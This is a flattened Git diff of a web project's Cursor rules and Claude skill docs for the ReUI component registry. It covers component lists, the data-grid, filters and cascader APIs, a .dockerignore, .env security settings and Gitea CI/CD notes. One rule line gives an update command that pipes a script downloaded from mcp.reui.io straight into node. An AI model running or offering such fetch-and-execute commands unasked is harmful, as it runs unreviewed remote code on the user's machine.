**Обязательно** цитировать `previewUrl` + `docsUrl` для каждой UI-зоны. **Обязательно** цитировать `previewUrl` + `docsUrl` для каждой UI-зоны.
**Registry (актуально):** 20 free components — `alert`, `autocomplete`, `badge`, `data-grid`, `date-selector`, `event-calendar`, `filters`, `frame`, `gantt`, `icon-stack`, `icon-tile`, `kanban`, `number-field`, `phone-input`, `rating`, `scrollspy`, `sortable`, `stepper`, `timeline`, `tree` ([docs](https://reui.io/docs), [MCP](https://reui.io/docs/mcp)). Skill: `.claude/skills/reui` (v `668fb463eb`); обновление: `curl.exe -fsSL https://mcp.reui.io/install | node -` из корня проекта.
**Важно:** skill описывает текущий registry (в т.ч. data-grid на TanStack Table v9). Установленный в проекте `@reui/data-grid` может оставаться на v8 до явного CLI upgrade — не ломать kit без миграции.
## Когда ReUI vs shadcn ## Когда ReUI vs shadcn
| Задача | Registry | Импорт | | Задача | Registry | Импорт |
@@ -39,7 +47,8 @@ alwaysApply: true
| KPI | block [stats-12](https://reui.io/preview/base/stats-12) | `reui-kit/KpiStatGrid` — см. [`kpi-hybrid.mdc`](kpi-hybrid.mdc) | | KPI | block [stats-12](https://reui.io/preview/base/stats-12) | `reui-kit/KpiStatGrid` — см. [`kpi-hybrid.mdc`](kpi-hybrid.mdc) |
| Quick Actions | Frame tiles sibling KPI | `reui-kit/QuickActionGrid` | | Quick Actions | Frame tiles sibling KPI | `reui-kit/QuickActionGrid` |
| Semantic badge / alert | `@reui` | `@/components/reui/badge`, `@/components/reui/alert` | | Semantic badge / alert | `@reui` | `@/components/reui/badge`, `@/components/reui/alert` |
| Number / date / autocomplete / color / kanban | `@reui` | `@/components/reui/*` | | Number / date / autocomplete / color / kanban / timeline / stepper / tree | `@reui` | `@/components/reui/*` |
| Event Calendar / Gantt / Icon Tile (registry, 20 free) | `@reui` | CLI `@reui/<name>` → `@/components/reui/*` при установке |
**Сложные списки** — `ResourcePage` (Frame + data-grid + filters), не raw `<table>`, не DataGridCard. **Сложные списки** — `ResourcePage` (Frame + data-grid + filters), не raw `<table>`, не DataGridCard.
**Quick Actions** — только `QuickActionGrid` (не Card / Button grid). **Quick Actions** — только `QuickActionGrid` (не Card / Button grid).
@@ -66,9 +75,9 @@ alwaysApply: true
## Установленные ReUI (apps/web) ## Установленные ReUI (apps/web)
**Components:** `frame`, `data-grid/*`, `filters`, `kanban`, `badge`, `alert`, `autocomplete`, `number-field`, `date-selector`, `color-picker`, `timeline`, `rating`, `phone-input`, `icon-stack` **Components:** `frame`, `data-grid/*`, `filters`, `badge`, `alert`, `autocomplete`, `timeline`, `icon-stack`, `icon-tile`, `sortable`, `stepper`
**Kit:** `ResourcePage`, `KpiStatGrid`, `QuickActionGrid`, `OpsDashboard`, `DetailPanel`, `SettingsShell` **Kit:** `ResourcePage`, `KpiStatGrid`, `QuickActionGrid`, `OpsDashboard`, `DetailPanel`, `SettingsShell` (только 2+ секции; `/settings` = PageShell + Frame)
**Blocks (reference):** `stats-12`, `card-35`, `auth-13`, `app-shell-12`, `settings-16`, `settings-8`, `empty-state-12`, `form-7`, `data-grid-filtering-2`, `dashboard-1`, … **Blocks (reference):** `stats-12`, `card-35`, `auth-13`, `app-shell-12`, `settings-16`, `settings-8`, `empty-state-12`, `form-7`, `data-grid-filtering-2`, `dashboard-1`, …
+4 -4
View File
@@ -6,18 +6,18 @@ alwaysApply: false
--- ---
name: reui name: reui
description: Use the ReUI registry from your AI agent - find, install, and correctly use ReUI components (the 17 free building blocks like data-grid, kanban, filters), their free examples, premium blocks, and Motion Icons. Applies in any project using ReUI, the @reui registry, REUI_LICENSE_KEY, or any shadcn project where the user asks for premium blocks, data grids, kanban boards, dashboards, or full pages. Pairs with the free ReUI MCP server for live, scored registry search and inline component APIs. description: Use the ReUI registry from your AI agent - find, install, and correctly use ReUI components (the 20 free building blocks like data-grid, kanban, filters), their free examples, premium blocks, and Motion Icons. Applies in any project using ReUI, the @reui registry, REUI_LICENSE_KEY, or any shadcn project where the user asks for premium blocks, data grids, kanban boards, dashboards, or full pages. Pairs with the free ReUI MCP server for live, scored registry search and inline component APIs.
user-invocable: false user-invocable: false
allowed-tools: Bash(npx shadcn@latest *), Bash(pnpm dlx shadcn@latest *), Bash(bunx --bun shadcn@latest *) allowed-tools: Bash(npx shadcn@latest *), Bash(pnpm dlx shadcn@latest *), Bash(bunx --bun shadcn@latest *)
--- ---
> **ReUI skill version `42d70dcc3d`.** If the ReUI MCP's `get_agent_skill` reports a newer `version`, re-run the ReUI installer (see `get_agent_skill` -> `install.recommended`) to update this skill. Cloud/tools-only agents have no local file and always read the latest - they can ignore this. > **ReUI skill version `3bdbad788a`.** If the ReUI MCP's `get_agent_skill` reports a newer `version`, re-run the ReUI installer (see `get_agent_skill` -> `install.recommended`) to update this skill. Cloud/tools-only agents have no local file and always read the latest - they can ignore this.
# ReUI for Agents # ReUI for Agents
ReUI is a shadcn-compatible registry. It ships four things you **reuse** - never redesign: ReUI is a shadcn-compatible registry. It ships four things you **reuse** - never redesign:
- **components** - the 17 ReUI building blocks with real APIs: `data-grid`, `kanban`, `filters`, `date-selector`, `tree`, `stepper`, ... (free) - **components** - the 20 ReUI building blocks with real APIs: `data-grid`, `kanban`, `filters`, `date-selector`, `tree`, `stepper`, ... (free)
- **examples** - free `c-*` single-pattern use-cases of a component (`c-kanban-1`); install one and read it to see exact composition - **examples** - free `c-*` single-pattern use-cases of a component (`c-kanban-1`); install one and read it to see exact composition
- **blocks** - premium full-page sections that compose components (`data-grid-2`, `pricing-page-1`); Pro or Ultimate license at install - **blocks** - premium full-page sections that compose components (`data-grid-2`, `pricing-page-1`); Pro or Ultimate license at install
- **icons** - Motion Icons in 4 styles, static + hover-animated variants; Ultimate license at install - **icons** - Motion Icons in 4 styles, static + hover-animated variants; Ultimate license at install
@@ -64,7 +64,7 @@ Invocation differs slightly per agent (`/mcp__reui__build` in Claude Code/Cursor
- [rules/registry.md](./rules/registry.md) - the four types, the @reui registry, base/radix, free vs premium + license - [rules/registry.md](./rules/registry.md) - the four types, the @reui registry, base/radix, free vs premium + license
- [rules/workflow.md](./rules/workflow.md) - the find -> install -> read-API -> adapt loop (most important) - [rules/workflow.md](./rules/workflow.md) - the find -> install -> read-API -> adapt loop (most important)
- [rules/components.md](./rules/components.md) - the 17 components, the data-grid contract, base vs radix - [rules/components.md](./rules/components.md) - the 20 components, the data-grid contract, base vs radix
- [rules/adapting.md](./rules/adapting.md) - reuse-first: preserve the design (no over-customizing), reuse examples + a block's own elements, real data, don't invent APIs - [rules/adapting.md](./rules/adapting.md) - reuse-first: preserve the design (no over-customizing), reuse examples + a block's own elements, real data, don't invent APIs
- [rules/craft.md](./rules/craft.md) - make it exceptional: point of view, hierarchy, density, states, responsive, motion, the bar - [rules/craft.md](./rules/craft.md) - make it exceptional: point of view, hierarchy, density, states, responsive, motion, the bar
- [rules/quality.md](./rules/quality.md) - security, accessibility, and scroll gates (the done gate) - [rules/quality.md](./rules/quality.md) - security, accessibility, and scroll gates (the done gate)
+4 -4
View File
@@ -1,17 +1,17 @@
--- ---
name: reui name: reui
description: Use the ReUI registry from your AI agent - find, install, and correctly use ReUI components (the 17 free building blocks like data-grid, kanban, filters), their free examples, premium blocks, and Motion Icons. Applies in any project using ReUI, the @reui registry, REUI_LICENSE_KEY, or any shadcn project where the user asks for premium blocks, data grids, kanban boards, dashboards, or full pages. Pairs with the free ReUI MCP server for live, scored registry search and inline component APIs. description: Use the ReUI registry from your AI agent - find, install, and correctly use ReUI components (the 20 free building blocks like data-grid, kanban, filters), their free examples, premium blocks, and Motion Icons. Applies in any project using ReUI, the @reui registry, REUI_LICENSE_KEY, or any shadcn project where the user asks for premium blocks, data grids, kanban boards, dashboards, or full pages. Pairs with the free ReUI MCP server for live, scored registry search and inline component APIs.
user-invocable: false user-invocable: false
allowed-tools: Bash(npx shadcn@latest *), Bash(pnpm dlx shadcn@latest *), Bash(bunx --bun shadcn@latest *) allowed-tools: Bash(npx shadcn@latest *), Bash(pnpm dlx shadcn@latest *), Bash(bunx --bun shadcn@latest *)
--- ---
> **ReUI skill version `42d70dcc3d`.** If the ReUI MCP's `get_agent_skill` reports a newer `version`, re-run the ReUI installer (see `get_agent_skill` -> `install.recommended`) to update this skill. Cloud/tools-only agents have no local file and always read the latest - they can ignore this. > **ReUI skill version `3bdbad788a`.** If the ReUI MCP's `get_agent_skill` reports a newer `version`, re-run the ReUI installer (see `get_agent_skill` -> `install.recommended`) to update this skill. Cloud/tools-only agents have no local file and always read the latest - they can ignore this.
# ReUI for Agents # ReUI for Agents
ReUI is a shadcn-compatible registry. It ships four things you **reuse** - never redesign: ReUI is a shadcn-compatible registry. It ships four things you **reuse** - never redesign:
- **components** - the 17 ReUI building blocks with real APIs: `data-grid`, `kanban`, `filters`, `date-selector`, `tree`, `stepper`, ... (free) - **components** - the 20 ReUI building blocks with real APIs: `data-grid`, `kanban`, `filters`, `date-selector`, `tree`, `stepper`, ... (free)
- **examples** - free `c-*` single-pattern use-cases of a component (`c-kanban-1`); install one and read it to see exact composition - **examples** - free `c-*` single-pattern use-cases of a component (`c-kanban-1`); install one and read it to see exact composition
- **blocks** - premium full-page sections that compose components (`data-grid-2`, `pricing-page-1`); Pro or Ultimate license at install - **blocks** - premium full-page sections that compose components (`data-grid-2`, `pricing-page-1`); Pro or Ultimate license at install
- **icons** - Motion Icons in 4 styles, static + hover-animated variants; Ultimate license at install - **icons** - Motion Icons in 4 styles, static + hover-animated variants; Ultimate license at install
@@ -58,7 +58,7 @@ Invocation differs slightly per agent (`/mcp__reui__build` in Claude Code/Cursor
- [rules/registry.md](./rules/registry.md) - the four types, the @reui registry, base/radix, free vs premium + license - [rules/registry.md](./rules/registry.md) - the four types, the @reui registry, base/radix, free vs premium + license
- [rules/workflow.md](./rules/workflow.md) - the find -> install -> read-API -> adapt loop (most important) - [rules/workflow.md](./rules/workflow.md) - the find -> install -> read-API -> adapt loop (most important)
- [rules/components.md](./rules/components.md) - the 17 components, the data-grid contract, base vs radix - [rules/components.md](./rules/components.md) - the 20 components, the data-grid contract, base vs radix
- [rules/adapting.md](./rules/adapting.md) - reuse-first: preserve the design (no over-customizing), reuse examples + a block's own elements, real data, don't invent APIs - [rules/adapting.md](./rules/adapting.md) - reuse-first: preserve the design (no over-customizing), reuse examples + a block's own elements, real data, don't invent APIs
- [rules/craft.md](./rules/craft.md) - make it exceptional: point of view, hierarchy, density, states, responsive, motion, the bar - [rules/craft.md](./rules/craft.md) - make it exceptional: point of view, hierarchy, density, states, responsive, motion, the bar
- [rules/quality.md](./rules/quality.md) - security, accessibility, and scroll gates (the done gate) - [rules/quality.md](./rules/quality.md) - security, accessibility, and scroll gates (the done gate)
+2 -2
View File
@@ -2,7 +2,7 @@
## Registry setup (one-time, per project) ## Registry setup (one-time, per project)
Free items (the 17 components and all `c-*` examples) need only the plain string registry in `components.json`: Free items (the 20 components and all `c-*` examples) need only the plain string registry in `components.json`:
```json ```json
{ "registries": { "@reui": "https://reui.io/r/{style}/{name}.json" } } { "registries": { "@reui": "https://reui.io/r/{style}/{name}.json" } }
@@ -54,7 +54,7 @@ bunx --bun shadcn@latest add @reui/<name> --yes # bun
## Free vs premium boundary ## Free vs premium boundary
- Public, no key: `c-*` examples and the 17 components (`@reui/data-grid`, `@reui/badge`, ...) that those examples depend on. - Public, no key: `c-*` examples and the 20 components (`@reui/data-grid`, `@reui/badge`, ...) that those examples depend on.
- Key required at install: blocks (`@reui/<category>-N`) need a Pro or Ultimate license; Motion Icons (`@reui/icons/...`) and templates need Ultimate. - Key required at install: blocks (`@reui/<category>-N`) need a Pro or Ultimate license; Motion Icons (`@reui/icons/...`) and templates need Ultimate.
If an install 401/403s, the license key is missing, invalid, or the plan does not cover that resource (blocks: Pro or higher; icons and templates: Ultimate). Point the user to https://reui.io/account (their key) or https://reui.io/pricing (upgrade). If an install 401/403s, the license key is missing, invalid, or the plan does not cover that resource (blocks: Pro or higher; icons and templates: Ultimate). Point the user to https://reui.io/account (their key) or https://reui.io/pricing (upgrade).
+67 -17
View File
@@ -1,24 +1,23 @@
# ReUI components # ReUI components
The 19 ReUI building blocks: `alert`, `autocomplete`, `badge`, `data-grid`, `date-selector`, `event-calendar`, `filters`, `frame`, `gantt`, `icon-stack`, `kanban`, `number-field`, `phone-input`, `rating`, `scrollspy`, `sortable`, `stepper`, `timeline`, `tree`. Examples and blocks are composed from these. The 21 ReUI building blocks: `alert`, `autocomplete`, `badge`, `cascader`, `data-grid`, `date-selector`, `event-calendar`, `filters`, `frame`, `gantt`, `icon-stack`, `icon-tile`, `kanban`, `number-field`, `phone-input`, `rating`, `scrollspy`, `sortable`, `stepper`, `timeline`, `tree`. Examples and blocks are composed from these.
**Rule one: never guess a component's API. Read it first.** Call **`get_component(name)`** for its inline `api` (props + usage, no web fetch), and **share the result's `docsUrl`** (the component's API documentation page) with the user whenever you work with that component's API, so they have the full reference (the `/llms.txt` index is a further fallback). Then call **`get_examples(name)`** to install a worked example and copy real composition. The contracts below are first-try orientation (required props, composition shape, the one gotcha); the inline `api` is the full reference. No single block fits? Compose: search the components you need, read each `get_component`, install a `get_examples` example per component, and adapt. **Rule one: never guess a component's API. Read it first.** Call **`get_component(name)`** for its inline `api` (props + usage, no web fetch), and **share the result's `docsUrl`** (the component's API documentation page) with the user whenever you work with that component's API, so they have the full reference (the `/llms.txt` index is a further fallback). Then call **`get_examples(name)`** to install a worked example and copy real composition. The contracts below are first-try orientation (required props, composition shape, the one gotcha); the inline `api` is the full reference. No single block fits? Compose: search the components you need, read each `get_component`, install a `get_examples` example per component, and adapt.
## data-grid (the flagship - read its API every time) ## data-grid (the flagship - read its API every time)
`data-grid` wraps TanStack Table v8. It is NOT a styled `<table>` and does NOT take `data`/`columns` props directly. The contract: `data-grid` wraps TanStack Table v9. It is NOT a styled `<table>` and does NOT take `data`/`columns` props directly. The contract:
- Build a TanStack table instance with `useReactTable(...)` (columns, data, the feature models you need: sorting, pagination, row selection). - Build a TanStack table instance with `useTable({ features: dataGridFeatures, ... })` (columns, data). `dataGridFeatures` is exported by the primitive and already bundles sorting, filtering, pagination, row selection, expanding, pinning, resizing and faceting, so there are no per-table row models to wire.
- Pass that instance to `<DataGrid table={table} recordCount={total}>`. - Pass that instance to `<DataGrid table={table} recordCount={total}>`.
- Compose the body with `DataGridTable` inside `DataGrid`, and enable features through `tableLayout` (e.g. `{ headerSticky: true, columnsResizable: true }`), not ad-hoc classes. - Compose the body with `DataGridTable` inside `DataGrid`, and enable features through `tableLayout` (e.g. `{ headerSticky: true, columnsResizable: true }`), not ad-hoc classes.
- Server-side data uses the documented fetch shape (`recordCount` is the total for pagination). - Server-side data uses the documented fetch shape (`recordCount` is the total for pagination).
```tsx ```tsx
const table = useReactTable({ const table = useTable({
features: dataGridFeatures,
data, data,
columns, columns,
getCoreRowModel: getCoreRowModel(),
// add sorting/pagination/selection models per the API
}) })
<DataGrid table={table} recordCount={data.length}> <DataGrid table={table} recordCount={data.length}>
@@ -28,9 +27,9 @@ const table = useReactTable({
Common mistakes: Common mistakes:
- **Incorrect:** `<DataGrid data={rows} columns={cols} />` - these props do not exist. **Correct:** build a `useReactTable` instance and pass `table={table}` + `recordCount`. - **Incorrect:** `<DataGrid data={rows} columns={cols} />` - these props do not exist. **Correct:** build a `useTable({ features: dataGridFeatures, ... })` instance and pass `table={table}` + `recordCount`.
- **Incorrect:** a raw `<table>` / hand-rolled pagination. **Correct:** use `data-grid`; read its API for sticky header, pagination, virtualization, row selection. - **Incorrect:** a raw `<table>` / hand-rolled pagination. **Correct:** use `data-grid`; read its API for sticky header, pagination, virtualization, row selection.
- **Incorrect:** styling rows/cells with arbitrary classes. **Correct:** drive layout via `tableLayout` and the documented `ColumnMeta` (e.g. `cellClassName`, `headerTitle`). - **Incorrect:** styling rows/cells with arbitrary classes. **Correct:** drive layout via `tableLayout` and the primitive's `DataGridColumnMeta` (e.g. `cellClassName`, `headerTitle`), set through the bundle's `columnMeta` slot.
## event-calendar ## event-calendar
@@ -107,22 +106,60 @@ Common mistakes:
## filters ## filters
**Required:** `filters` (`Filter[]`), `fields` (`FilterFieldConfig[]`), `onChange` **Required:** `fields` (`FilterField[]`). The value is ONE `FilterQuery` tree - `query` + `onQueryChange`, or uncontrolled `defaultQuery`.
**Shape:** **Shape:**
```tsx ```tsx
const [filters, setFilters] = useState<Filter[]>([ const fields: FilterField[] = [
createFilter("priority", "is_any_of", ["low"]), { id: "title", label: "Title", type: "text" },
]) {
const fields: FilterFieldConfig[] = [ id: "status",
{ key: "priority", label: "Priority", type: "multiselect", label: "Status",
options: [{ value: "low", label: "Low" }, { value: "high", label: "High" }] }, type: "select",
options: [
{ value: "active", label: "Active" },
{ value: "archived", label: "Archived" },
],
},
] ]
const [query, setQuery] = useState<FilterQuery>(() => createFilterQuery())
<Filters filters={filters} fields={fields} onChange={setFilters} /> <Filters fields={fields} query={query} onQueryChange={setQuery} />
``` ```
**Gotcha:** always build initial filters with `createFilter(field, operator, values)` - it generates the required `id`. Never hand-construct a `Filter` object. Pairs naturally with `data-grid`. **Gotcha:** the state is a TREE, not a list of chips. `FilterQuery` is a group of rules joined by `and`/`or` and a group may hold another group, so `(A and B) or C` is expressible; a rule is `{ id, type: "rule", path: ["status"], operator, value }` and `path` is the whole nested attribute path, root first. The pre-rewrite API is GONE: there is no `filters`/`onChange` prop, no `FilterFieldConfig` (fields are `FilterField`, nested through their own `fields`, keyed `id` not `key`), and no `createFilter()` - it minted ids inside a pure function and broke hydration, so ids now come from `createFilterIdFactory(seed)` seeded off `useId`, and `createFilterQuery()` / `createFilterRule()` take one. Read the query back with `flattenFilterConditions` (`{ path, field, operator, values, negated }` per rule, incomplete rules skipped) and walk the tree yourself when the parentheses carry meaning - the primitive compiles nothing, no SQL, no query string.
`variant` picks the chrome over that one query: `"basic"`, the default, is the flat chip row for a toolbar over a table; `"advanced"` is the condition builder, hung off a trigger or rendered in place with `advancedMode="inline"`. Both read and write the same tree, so a saved view built in one opens in the other. Other props worth knowing before you hand-roll them: `size` is two rungs, `"sm" | "default"`, resolved per style (there is no `lg`); `reorderable` turns on drag and Alt+Arrow row moves in the builder; `onBeforeQueryChange` is the ONE veto point for every write (return `false` to refuse, it cannot rewrite); `editors` registers custom value editors a field selects by `editor` name; `labels` / `operatorLabels` own every rendered string; `pathCollapse` + `maxPathSegments` shorten deep attribute paths; `renderChip` / `renderValue` / `renderEmpty` replace rendered parts. On a field, `loadOptions` supplies async options with paging and `resolveValues` renders a chip restored from a saved view whose option was never loaded. Pairs naturally with `data-grid`.
## cascader
**Required:** `items` (a tree of `{ value, label, children? }`), plus the panel parts inside `CascaderContent`.
**Shape:**
```tsx
<Cascader items={items} value={value} onValueChange={setValue}>
<CascaderTrigger render={<Button variant="outline" />}>
<CascaderValue placeholder="Select an attribute" />
</CascaderTrigger>
<CascaderContent className="w-80">
<CascaderPanel>
<CascaderNav>
<CascaderBreadcrumb />
<CascaderInput />
</CascaderNav>
<CascaderEmpty />
<CascaderList maxHeight={288}>
<CascaderItems />
</CascaderList>
<CascaderStatus />
</CascaderPanel>
</CascaderContent>
</Cascader>
```
**Gotcha:** pressing a branch NAVIGATES, it does not select - only leaves are selectable until you pass `selectable="any"` or a predicate, and once a branch is selectable its chevron becomes the only way to open it. `CascaderInput` must stay inside `CascaderContent` (Base UI refills the query from the selection when the input sits outside the popup). Always include `CascaderStatus`: it is the live region announcing level changes, which the visual breadcrumb does not provide to screen readers. Accepts a flat adjacency list via `getParent` as well as nested `children`. `searchScope="deep"` searches every level and annotates results with their path; `multiple` gives checkbox rows; `inline` + a bare `CascaderPanel` embeds it with no popover.
The shape above is `mode="drill"`, the default. `mode="tree"` keeps the same parts (drop `CascaderBreadcrumb`, pass `showBack={false}`, drive expansion with `expanded`/`onExpandedChange`); `mode="columns"` REPLACES `CascaderList` + `CascaderItems` with a single `CascaderColumns`, and has no breadcrumb. Other props worth knowing before you hand-roll them: `cascade` (multi-select only, parent/child selection with indeterminate branches - pair it with `selectable="any"`, since a leaf-only tree can never cascade), `indicator={false}` to drop the single-select check and its gutter (visual only, no-op with `multiple`), `virtualize`/`virtualizeThreshold` plus `CascaderVirtualItems` for long levels, and `getChildren` for async levels with cursor paging, retry on failure and optional `prefetch`. `CascaderFooter` pins commands below the list (`actions` is the quick path) and `CascaderSubmenu` opens one as a side-anchored flyout with the full menu keyboard model. To head a run of rows use `CascaderGroup` wrapping a `CascaderLabel` - a bare label inside a listbox names nothing and is dropped from the accessibility tree - and `CascaderSeparator` for the rule between runs. Every rendered string comes from `labels`, and the panel is RTL-correct under a `DirectionProvider` or `dir="rtl"`.
## date-selector ## date-selector
@@ -312,6 +349,19 @@ const [value, setValue] = useState<DateSelectorValue | undefined>()
**Gotcha:** isometric layered artwork for empty states and illustrations; style the inner icon via its own `className`. Mark purely decorative stacks `aria-hidden="true"` and keep the real label in surrounding copy. **Gotcha:** isometric layered artwork for empty states and illustrations; style the inner icon via its own `className`. Mark purely decorative stacks `aria-hidden="true"` and keep the real label in surrounding copy.
## icon-tile
**Required:** one child icon
**Shape:**
```tsx
<IconTile variant="elevated" size="lg">
<PackageIcon />
</IconTile>
```
**Gotcha:** the square container an icon sits in, so every list row, feature card and empty state shares one affordance. `variant`: `outline` (default) | `elevated` (muted fill, raised ring) | `soft` (tinted nested, tone from currentColor) | `solid` (filled tone, contrasting glyph) | `frame` (double container). `soft` and `solid` retint from one text color class (they default to `text-primary`). `size`: `xs | sm | default | lg | xl` (24/32/40/48/64px tile, glyph scales 12/14/16/20/24px). `radius`: `default | full`. Do not set a `size-*` class on the child icon unless you mean to override the tile's glyph size; recolor with `className` on the tile, not the icon.
## alert ## alert
**Required:** `Alert` > `AlertTitle` **Required:** `Alert` > `AlertTitle`
+2 -2
View File
@@ -2,7 +2,7 @@
ReUI is a shadcn-compatible registry with four entity types. **Examples and blocks are built FROM components** - reuse them, don't rebuild. ReUI is a shadcn-compatible registry with four entity types. **Examples and blocks are built FROM components** - reuse them, don't rebuild.
- **component** - one of the 17 ReUI building blocks with a real API (`data-grid`, `kanban`, `filters`, `date-selector`, `tree`, ...). Install directly (`@reui/data-grid`) or let it come in as a dependency of an example/block. Free. Read its API with `get_component(name)`. - **component** - one of the 20 ReUI building blocks with a real API (`data-grid`, `kanban`, `filters`, `date-selector`, `tree`, ...). Install directly (`@reui/data-grid`) or let it come in as a dependency of an example/block. Free. Read its API with `get_component(name)`.
- **example** - a free `c-*` single-pattern use-case of a component (`c-kanban-1`, `c-data-grid-3`). Install one and read it to copy real composition. Find a component's examples with `get_examples(name)`. - **example** - a free `c-*` single-pattern use-case of a component (`c-kanban-1`, `c-data-grid-3`). Install one and read it to copy real composition. Find a component's examples with `get_examples(name)`.
- **block** - a premium, full-page section that composes several components (`data-grid-2`, `pricing-page-1`). Pro or Ultimate license at install. Adapts to your active theme via semantic tokens. - **block** - a premium, full-page section that composes several components (`data-grid-2`, `pricing-page-1`). Pro or Ultimate license at install. Adapts to your active theme via semantic tokens.
- **icon** - Motion Icons in 4 styles (outline, solid, duotone, filled), static (`@reui/icons/default/<style>/<name>`) and hover-animated (`@reui/icons/animated/<style>/<name>`). Ultimate license at install. See [icons.md](./icons.md). - **icon** - Motion Icons in 4 styles (outline, solid, duotone, filled), static (`@reui/icons/default/<style>/<name>`) and hover-animated (`@reui/icons/animated/<style>/<name>`). Ultimate license at install. See [icons.md](./icons.md).
@@ -27,7 +27,7 @@ Blocks adapt to your active theme through semantic tokens and CSS variables - ch
## Free vs premium ## Free vs premium
- **Free, no key:** the 17 components, all `c-*` examples, the ReUI MCP, and this skill. - **Free, no key:** the 20 components, all `c-*` examples, the ReUI MCP, and this skill.
- **Premium, license required at install:** blocks (Pro or Ultimate), Motion Icons and templates (Ultimate). Set `REUI_LICENSE_KEY` (see [cli.md](./cli.md)). - **Premium, license required at install:** blocks (Pro or Ultimate), Motion Icons and templates (Ultimate). Set `REUI_LICENSE_KEY` (see [cli.md](./cli.md)).
## Component API index ## Component API index
+2 -2
View File
@@ -8,7 +8,7 @@ The core ReUI loop. The MCP tells you what to install and gives you the API; the
For everything else, call `search` with the user's intent. Pass structured hints whenever you can infer them - you are an LLM, so do the parsing the server cannot: For everything else, call `search` with the user's intent. Pass structured hints whenever you can infer them - you are an LLM, so do the parsing the server cannot:
- `type`: `"component"` (one of the 17 building blocks), `"example"` (a c-\* use-case), `"block"` (a full page/section), `"icon"`. - `type`: `"component"` (one of the 20 building blocks), `"example"` (a c-\* use-case), `"block"` (a full page/section), `"icon"`.
- `component`: the ReUI component the request implies (`"data-grid"`, `"kanban"`, ...). - `component`: the ReUI component the request implies (`"data-grid"`, `"kanban"`, ...).
- `category`, `features` (e.g. `["sortable","pagination"]`), `free`. - `category`, `features` (e.g. `["sortable","pagination"]`), `free`.
@@ -40,7 +40,7 @@ Before writing code against any component an item uses:
Installing files is not the end, and redesigning them defeats the point. First note the project's **base** so you write the right API - read `components.json` -> `style` and take the segment before the first `-` (`base-nova` -> Base UI, `radix-nova` -> Radix UI), see [components.md](./components.md). After `add`: Installing files is not the end, and redesigning them defeats the point. First note the project's **base** so you write the right API - read `components.json` -> `style` and take the segment before the first `-` (`base-nova` -> Base UI, `radix-nova` -> Radix UI), see [components.md](./components.md). After `add`:
1. **Read the added files**; keep the composition intact. For a block, verify the components are wired correctly (for `data-grid`: a `useReactTable` instance passed as `table`, `recordCount` set - see [components.md](./components.md)). 1. **Read the added files**; keep the composition intact. For a block, verify the components are wired correctly (for `data-grid`: a `useTable({ features: dataGridFeatures, ... })` instance passed as `table`, `recordCount` set - see [components.md](./components.md)).
2. **Replace demo data with the user's real data** via typed structures (see [adapting.md](./adapting.md)). 2. **Replace demo data with the user's real data** via typed structures (see [adapting.md](./adapting.md)).
3. **Fix icon imports** to the project's icon library (see [icons.md](./icons.md)). 3. **Fix icon imports** to the project's icon library (see [icons.md](./icons.md)).
4. **Align styling** to semantic tokens and the active theme - no raw colors (see [styling.md](./styling.md)). 4. **Align styling** to semantic tokens and the active theme - no raw colors (see [styling.md](./styling.md)).
+48
View File
@@ -0,0 +1,48 @@
# Build context = repository root (deploy/docker/docker-bake.hcl).
.git
.gitea
.github
.cursor
.claude
.codegraph
.agents
memory-bank
.vscode
.idea
**/.DS_Store
**/Thumbs.db
**/.env
**/.env.*
!**/.env.example
!**/.env.*.example
node_modules
**/node_modules
**/dist
apps/web/src/routeTree.gen.ts
apps/web/test-results
*.md
AGENTS.md
CONTRIBUTING.md
LICENSE
docs
.releaserc.json
.commitlintrc.*
commitlint.config.cjs
redocly.yaml
package-lock.json
data
*.exe
**/*.test.ts
**/*.spec.ts
coverage
.coverage
*.out
.release-version
CHANGELOG.md
deploy/docker/docker-bake.override.hcl
deploy/compose/runtime-logs
+9
View File
@@ -24,3 +24,12 @@ REUI_LICENSE_KEY=
# Server # Server
SERVER_PORT=8080 SERVER_PORT=8080
# Security hardening (prod)
# В prod (NODE_ENV=production) сервер откажется стартовать без AUTH_REQUIRED=true
# и реальных секретов; EVOFW_ALLOW_UNSAFE=true — явный opt-out для изолированных стендов.
# EVOFW_ALLOW_UNSAFE=false
# Разрешённые CORS-origins через запятую; пусто = только same-origin
# CORS_ORIGINS=https://fw.example.com
# Ключ для шифрования секретов в БД (AES-256-GCM, напр. токен EvoBGP); пусто = без шифрования
# EVOFW_SECRET_KEY=
+80
View File
@@ -0,0 +1,80 @@
# Gitea Actions
| Workflow | Когда | Что |
|----------|--------|-----|
| [workflows/ci.yaml](workflows/ci.yaml) | pull request в main/master | quality gates + commitlint |
| [workflows/cd.yaml](workflows/cd.yaml) | push в main/master | quality gates + semantic-release + docker push |
| [workflows/quality.yaml](workflows/quality.yaml) | reusable (`workflow_call`) | changes, openapi, web, api, commitlint, docker-check |
Подробнее: [docs/releasing.md](../docs/releasing.md).
## CI (quality gates)
Job **changes** вычисляет флаги по путям в diff. Полный прогон: `.gitea/workflows/*`, `scripts/*`, корневой `package.json` / `pnpm-lock.yaml` / `.releaserc.json`. Правки `.cursor/`, `.claude/`, `*.md` (кроме `docs/openapi.yaml`) quality jobs не запускают.
На **pull request** — **commitlint**. При изменении `deploy/docker/**` / `.dockerignore` — job **docker-check** (`bake --print`, bake без `--push` если есть доступ к registry).
Кэш зависимостей — нативный `actions/cache` (cache server act_runner), ключ `sha256sum` lockfile (не `hashFiles`). Пути **абсолютные** (`$HOME/.pnpm-store`): тильда `~` на Gitea часто не раскрывается и даёт вечный miss.
Кэшируется целиком: pnpm store + `node_modules` + corepack. При hit: `pnpm install --offline`.
Если restore пишет `connect ECONNREFUSED` / `cache server not configured` — на runner включите cache server (см. ниже). Иначе каждый job снова качает пакеты (~минуты).
Runner: `ubuntu-latest`, Docker для **docker-check** (PR) и **publish** (CD).
## CD (job publish)
После успешных quality gates на **push в main** job **publish**:
1. `pnpm exec semantic-release` — тег `vX.Y.Z` на **текущий commit** (без дополнительного commit в main).
2. Gitea Release + `CHANGELOG.md` как attachment (не в git).
3. Зеркало base-образов в `evofw-buildcache:base-*` (`deploy/docker/mirror-base-images.sh`; skip существующих тегов, `linux/amd64`, retry при 429).
4. `docker buildx bake default --push` с `VERSION=X.Y.Z`, `pull=false`, named builder `evofw` (`cleanup: false`).
Если releasable-коммитов нет — semantic-release no-op, образы не публикуются.
Повтор упавшего **publish** (тег уже есть, bake нет): detect берёт `v*` на `HEAD` и всё равно пушит образы. Подробнее: [docs/releasing.md](../docs/releasing.md#перезапуск-упавшего-job-publish).
### Секреты
**`ACTIONS_PAT`**: push tags, releases, Container Registry. Для git tag fallback: `github.token`. Push OCI — **только PAT** (у `GITEA_TOKEN` нет права packages).
### Теги образов
```text
